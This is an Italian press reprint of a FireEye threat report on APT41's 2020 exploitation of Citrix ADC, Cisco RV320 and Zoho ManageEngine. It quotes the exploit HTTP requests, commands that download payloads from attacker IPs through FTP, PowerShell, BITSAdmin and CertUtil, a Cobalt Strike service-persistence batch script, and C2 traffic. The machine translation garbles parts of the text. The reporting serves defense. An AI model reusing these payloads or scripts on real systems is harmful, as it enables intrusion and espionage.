
(AGENPARL) – Roma, 26 marzo 2020 – A partire da quest’anno, FireEye ha osservato che l’attore cinese APT41 ha condotto una delle più ampie campagne di un attore cinese di cyber spionaggio che abbiamo osservato negli ultimi anni. Tra il 20 gennaio e l’11 marzo, FireEye ha osservato il tentativo APT41 di sfruttare le vulnerabilità in Citrix NetScaler / ADC , router Cisco e Zoho ManageEngine Desktop Centralpresso oltre 75 clienti FireEye. I paesi che abbiamo visto come target includono Australia, Canada, Danimarca, Finlandia, Francia, India, Italia, Giappone, Malesia, Messico, Filippine, Polonia, Qatar, Arabia Saudita, Singapore, Svezia, Svizzera, Emirati Arabi Uniti, Regno Unito e Stati Uniti. Sono stati presi di mira i seguenti settori: bancario / finanziario, edilizia, base industriale di difesa, governo, sanità, alta tecnologia, istruzione superiore, legale, manifatturiero, media, no profit, petrolio e gas, petrolchimico, farmaceutico, immobiliare, telecomunicazioni, trasporti , Viaggi e utilità. Non è chiaro se APT41 ha scannerizzato Internet e ha tentato lo sfruttamento in massa o ha selezionato un sottoinsieme di organizzazioni specifiche da prendere di mira, ma le vittime sembrano essere più mirate in natura.
Sfruttamento di CVE-2019-19781 (Citrix Application Delivery Controller [ADC])
A partire dal 20 gennaio 2020, APT41 ha utilizzato l’indirizzo IP 66.42.98 [.] 220 per tentare exploit dei dispositivi Citrix Application Delivery Controller (ADC) e Citrix Gateway con CVE-2019-19781 (pubblicato il 17 dicembre 2019).
Figura 1: sequenza temporale degli eventi chiave
L’attività di sfruttamento iniziale CVE-2019-19781 del 20 gennaio e 21 gennaio 2020, ha comportato l’esecuzione del comando ‘file / bin / pwd’, che potrebbe aver raggiunto due obiettivi per APT41. Innanzitutto, confermerebbe se il sistema era vulnerabile e l’ attenuazione non veniva applicata. In secondo luogo, potrebbe restituire informazioni relative all’architettura che sarebbero necessarie conoscenze per APT41 per distribuire correttamente una backdoor in una fase di follow-up.
Una cosa interessante da notare è che tutte le richieste osservate sono state eseguite solo su dispositivi Citrix, suggerendo che APT41 stava funzionando con un elenco già noto di dispositivi identificati accessibili su Internet.
POST /vpns/portal/scripts/newbm.pl Host HTTP / 1.1 : [redatto] Connessione: chiudi Accept-Encoding: gzip, deflate Accept: * / * User-Agent: python-request / 2.22.0 NSC_NONCE: nsroot NSC_USER: ../../../netscaler/portal/templates/[redacted] Lunghezza contenuto: 96 url = http: //example.com&title= [redacted] & desc = [% template.new (‘BLOCK’ = ‘print `file / bin / pwd` ‘)%] |
Figura 2: Esempio di traffico HTTP APT41 che sfrutta CVE-2019-19781
C’è una pausa nell’attività APT41 tra il 23 gennaio e il 1 febbraio, che è probabilmente correlata alle festività del capodanno lunare cinese avvenute tra il 24 gennaio e il 30 gennaio 2020. Questo è stato un modello di attività comune da parte dei gruppi APT cinesi negli anni passati anche.
A partire dal 1 ° febbraio 2020, APT41 è passato all’utilizzo dei payload di exploit CVE-2019-19781 che avviano un download tramite il File Transfer Protocol (FTP). In particolare, APT41 ha eseguito il comando ‘/ usr / bin / ftp -o / tmp / bsd ftp: // test: [redacted] @ 66.42.98 [.] 220 / bsd’, collegato a 66.42.98 [.] 220 tramite il protocollo FTP, effettuato l’accesso al server FTP con un nome utente di ‘test’ e una password che abbiamo redatto, quindi scaricato un payload sconosciuto chiamato ‘bsd’ (che probabilmente era una backdoor).
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP / 1.1 Accept-Encoding: identity Content-Length: 147 Connessione: chiudi Nsc_User: ../../../ netscaler / portal / templates / [ redatto] User-Agent: Python-urllib / 2.7 Nsc_Nonce: nsroot Host: [redatto] Content-Type: application / x-www-form-urlencoded url = http: //example.com&title= [redatto]] & desc = [% template .new (‘BLOCK’ = ‘ print `/ usr / bin / ftp -o / tmp / bsd ftp: // test: [redatto] @ 66.42.98 [.] 220 / bsd` ‘)%] |
Figura 3: Esempio di traffico HTTP APT41 che sfrutta CVE-2019-19781
Non abbiamo osservato l’attività APT41 presso i clienti FireEye tra il 2 febbraio e il 19 febbraio 2020. La Cina ha avviato le quarantene relative a COVID-19 nelle città della provincia di Hubei a partire dal 23 gennaio e il 24 gennaio, e ha lanciato le quarantene in altre province a partire dal 2 febbraio e 10 febbraio. Sebbene sia possibile che questa riduzione dell’attività sia correlata alle misure di quarantena COVID-19 in Cina, APT41 potrebbe essere rimasto attivo in altri modi, che non siamo stati in grado di osservare con la telemetria FireEye. Abbiamo osservato un aumento significativo nello sfruttamento di CVE-2019-19781 il 24 febbraio e il 25 febbraio. Il comportamento all’exploit era quasi identico all’attività del 1 ° febbraio, dove è cambiato solo il nome del payload “un”.
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP / 1.1 Accept-Encoding: identità Content-Lunghezza: 145 Connessione: chiudi Nsc_User: ../../../ netscaler / portal / templates / [ redatto] User-Agent: Python-urllib / 2.7 Nsc_Nonce: nsroot Host: [redatto] Content-Type: application / x-www-form-urlencoded url = http: //example.com&title= [redatto]] & desc = [% template .new (‘BLOCK’ = ‘ print `/ usr / bin / ftp -o / tmp / un ftp: // test: [redacted] @ 66.42.98 [.] 220 / un` ‘)%] |
Figura 4: Esempio di traffico HTTP APT41 che sfrutta CVE-2019-19781
Citrix ha rilasciato una mitigazione per CVE-2019-19781 il 17 dicembre 2019 e dal 24 gennaio 2020 ha rilasciato correzioni permanenti per tutte le versioni supportate di Citrix ADC, Gateway e SD-WAN WANOP.
Cisco Router Exploitation
Il 21 febbraio 2020, APT41 ha sfruttato con successo un router Cisco RV320 presso un’organizzazione di telecomunicazioni e scaricato un payload ELF binario a 32 bit compilato per un processore MIPS a 64 bit chiamato ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc). Non è noto quale exploit specifico sia stato utilizzato, ma esiste un modulo Metasploit che combina due CVE ( CVE-2019-1653 e CVE-2019-1652 ) per abilitare l’esecuzione di codice in modalità remota su router Cisco RV320 e RV325 e utilizza wget per il download il payload specificato.
GET / test / fuc HTTP / 1.1 Host: 66.42.98 .220 User-Agent: Connessione Wget : chiudi |
Figura 5: Esempio di richiesta HTTP che mostra il router Cisco RV320 che scarica un payload tramite wget
66.42.98 [.] 220 ha anche ospitato un nome file http: //66.42.98 [.] 220 / test / 1.txt. Il contenuto di 1.txt (MD5: c0c467c8e9b2046d7053642cc9bdd57d) è ‘cat / etc / flash / etc / nk_sysconfig’, che è il comando da eseguire su un router Cisco RV320 per visualizzare la configurazione corrente.
Cisco PSIRT ha confermato la disponibilità di software fisso per far fronte alle vulnerabilità rilevate e chiede ai clienti di rivedere i seguenti avvisi di sicurezza e intraprendere le azioni appropriate:
- Vulnerabilità legata alla divulgazione di informazioni sui router Cisco Small Business RV320 e RV325
- Vulnerabilità legata all’iniezione di comandi nei router Cisco Small Business RV320 e RV325
Sfruttamento di CVE-2020-10189 (vulnerabilità Zero-Day di Zoho ManageEngine)
Il 5 marzo 2020, il ricercatore Steven Seeley , ha pubblicato un advisory e rilasciato un codice proof-of-concept per una vulnerabilità legata all’esecuzione di codice in modalità remota zero-day nelle versioni Zoho ManageEngine Desktop Central precedenti alla 10.0.474 ( CVE-2020-10189). A partire dall’8 marzo, FireEye ha osservato che APT41 utilizza 91.208.184 [.] 78 per tentare di sfruttare la vulnerabilità di Zoho ManageEngine in oltre una dozzina di clienti FireEye, che ha comportato la compromissione di almeno cinque clienti separati. FireEye ha osservato due diverse varianti di come sono stati distribuiti i payload (install.bat e storesyncsvc.dll). Nella prima variante l’exploit CVE-2020-10189 è stato utilizzato per caricare direttamente “logger.zip”, un semplice programma basato su Java, che conteneva una serie di comandi per utilizzare PowerShell per scaricare ed eseguire install.bat e storesyncsvc.dll.
java / lang / Runtime
getRuntime () Ljava / lang / runtime; Xcmd / c powershell $ client = new-object System.Net.WebClient; $ client.DownloadFile (‘http: //66.42.98 [.] 220: 12345 / test / install.bat’, ‘C: ‘(Ljava / lang / String;) Ljava / lang / Processo; StackMapTable ysoserial / Pwner76328858520609 Lysoserial / Pwner76328858520609; |
Figura 6: contenuto di logger.zip
Qui vediamo un marchio dallo strumento ysoserial che è stato usato per creare il payload nel POC. La stringa Pwner76328858520609 è unica per il payload POC, indicando che APT41 probabilmente ha usato il POC come materiale di origine per il loro funzionamento.
Nella seconda variante, FireEye ha osservato che APT41 sfrutta lo strumento da riga di comando Microsoft BITSAdmin per scaricare install.bat (MD5: 7966c2c546b71e800397a67f942858d0) dalla nota infrastruttura APT41 66.42.98 [.] 220 sulla porta 12345.
Processo principale: C: ManageEngine DesktopCentral_Server jre bin java.exe
Argomenti di processo: cmd / c bitsadmin / transfer bbbb http: //66.42.98 [.] 220: 12345 / test / install.bat C: Users Public install.bat |
Figura 7: Esempio di evento FireEye Endpoint Security che illustra lo sfruttamento CVE-2020-10189 riuscito
In entrambe le varianti, il file batch install.bat è stato utilizzato per installare la persistenza per una versione di prova del caricatore Cobalt Strike BEACON denominato storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).
@echo off
impostare “WORK_DIR = C: Windows System32” imposta “DLL_NAME = storesyncsvc.dll” impostare “SERVICE_NAME = StorSyncSvc” imposta “DISPLAY_NAME = Servizio di sincronizzazione archiviazione” set “DESCRIPTION = Il servizio di sincronizzazione archiviazione è la risorsa di livello superiore per la sincronizzazione dei file. Crea relazioni di sincronizzazione con più account di archiviazione tramite più gruppi di sincronizzazione. Se questo servizio viene arrestato o disabilitato, le applicazioni non potranno essere eseguite collettivamente.” sc stop% SERVICE_NAME% sc elimina% SERVICE_NAME% mkdir% WORK_DIR% copia “% ~ dp0% DLL_NAME%” “% WORK_DIR%” / Y reg aggiungere “HKLM SOFTWARE Microsoft Windows NT CurrentVersion Svchost” / v “% SERVICE_NAME%” / t REG_MULTI_SZ / d “% SERVICE_NAME%” / f sc create “% SERVICE_NAME%” binPath = “% SystemRoot% system32 svchost.exe -k% SERVICE_NAME%” type = share start = errore automatico = ignora DisplayName = “% DISPLAY_NAME%” Errore SC “% SERVICE_NAME%” ripristinato = 86400 azioni = riavvio / 60000 / riavvio / 60000 / riavvio / 60000 descrizione sc “% SERVICE_NAME%” “% DESCRIPTION%” reg add “HKLM SYSTEM CurrentControlSet Services % SERVICE_NAME% Parameters” / f reg add “HKLM SYSTEM CurrentControlSet Services % SERVICE_NAME% Parameters” / v “ServiceDll” / t REG_EXPAND_SZ / d “% WORK_DIR% % DLL_NAME%” / f inizio netto “% SERVICE_NAME%” |
Figura 8: contenuto di install.bat
Storesyncsvc.dll era un impianto BEACON Cobalt Strike (versione di prova) che si collegava a exchange.dumb1 [.] Com (con una risoluzione DNS di 74.82.201 [.] 8) usando un profilo di comando e controllo malleabile jquery (C2).
OTTIENI /jquery-3.3.1.min.js HTTP / 1.1 Host: cdn.bootcss.com Accetta: text / html, application / xhtml + xml, application / xml; q = 0.9, * / *; q = 0.8 Referer: http://cdn.bootcss.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid = CdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM DA8y_rXEJQGZ6Xlkp_wCoqnImD-bj4DqdTNbj87Rl1kIvZbefE3nmNunlyMJZTrDZfu4EV6oxB8yKMJfLXydC5YF9OeZwqBSs3Tun12BVFWLI User-Agent: Mozilla / 5.0 (Windows NT 6.3; Trident / 7.0; rv: 11,0) come Gecko Connection: Mantenere -Alive Cache-Control: nessuna cache |
Figura 9: Esempio APT41 Cobalt Strike BEACON jquery malleabile profilo C2 richiesta HTTP
Entro poche ore dallo sfruttamento iniziale, APT41 ha utilizzato la backdoor storescyncsvc.dll BEACON per scaricare una backdoor secondaria con un indirizzo C2 diverso che utilizza Microsoft CertUtil, un TTP comune che abbiamo osservato utilizzare APT41 nelle intrusioni passate , a cui hanno quindi utilizzato scarica 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c). Il file 2.exe era un downloader di Meterpreter VMProtected utilizzato per scaricare il codice shell Cobalt Strike BEACON. L’ utilizzo dei binari VMProtected è un altro TTP molto comune che abbiamo osservato che questo gruppo sfrutta diverse intrusioni per ritardare l’analisi di altri strumenti nel loro toolkit.
GET /2.exe HTTP / 1.1 Cache-Control: no-cache Connessione: Keep-Alive Pragma: no-cache Accetta: * / * User-Agent: Microsoft-CryptoAPI / 6.3 Host: 91.208.184 [.] 78 |
Figura 10: Esempio di richiesta HTTP che scarica il downloader ‘2.exe’ VMProtected Meterpreter tramite CertUtil
certutil -urlcache -split -f http: //91.208.184 [.] 78 / 2.exe |
Figura 11: Esempio del comando CertUtil per scaricare il downloader ‘2.exe’ VMProtected Meterpreter
Il downloader Meterpreter ‘TzGG’ è stato configurato per comunicare con 91.208.184 [.] 78 sulla porta 443 per scaricare il codice shell (MD5: 659bd19b562059f3f0cc978e15624fd9) per Cobalt Strike BEACON (versione di prova).
GET / TzGG HTTP / 1.1 User-Agent: Mozilla / 4.0 (compatibile; MSIE 8.0; Windows NT 6.0; Trident / 4.0) Host: 91.208.184 [.] 78: 443 Connessione: Keep-Alive Cache-Control: no-cache |
Figura 12: Esempio di richiesta HTTP che scarica il codice shell ‘TzGG’ per Cobalt Strike BEACON
Lo shellcode BEACON scaricato si è collegato allo stesso server C2: 91.208.184 [.] 78. Riteniamo che questo sia un esempio dell’attore che tenta di diversificare l’accesso post-sfruttamento ai sistemi compromessi.
ManageEngine ha rilasciato una mitigazione a breve termine per CVE-2020-10189 il 20 gennaio 2020 e successivamente ha rilasciato un aggiornamento il 7 marzo 2020, con una soluzione a lungo termine.
prospettiva
Questa attività è una delle campagne più diffuse che abbiamo visto dagli attori dello spionaggio China-Nexus negli ultimi anni. Mentre APT41 ha precedentemente svolto attività con una vasta voce iniziale come il trojan del software NetSarang, questa scansione e sfruttamento si è concentrata su un sottoinsieme dei nostri clienti e sembra rivelare un alto tempo operativo e ampi requisiti di raccolta per APT41.
È da notare che abbiamo visto solo questi tentativi di sfruttamento che sfruttano malware disponibili pubblicamente come Cobalt Strike e Meterpreter. Mentre queste backdoor sono complete, negli episodi precedenti APT41 ha atteso per distribuire malware più avanzato fino a quando non hanno capito completamente dove si trovavano e hanno effettuato una ricognizione iniziale. Nel 2020, APT41 continua a essere una delle minacce più prolifiche che FireEye attualmente traccia. Questa nuova attività di questo gruppo mostra quanto intraprendenti e quanto velocemente possono sfruttare le vulnerabilità appena rivelate a loro vantaggio.
In precedenza, FireEye Mandiant Managed Defense ha identificato APT41 sfruttando con successo CVE-2019-3396 (confluenza atlantica) contro un’università con sede negli Stati Uniti. Mentre APT41 è un gruppo di minacce cinese sponsorizzato dallo stato unico che conduce lo spionaggio, l’attore svolge anche attività motivate finanziariamente per guadagno personale.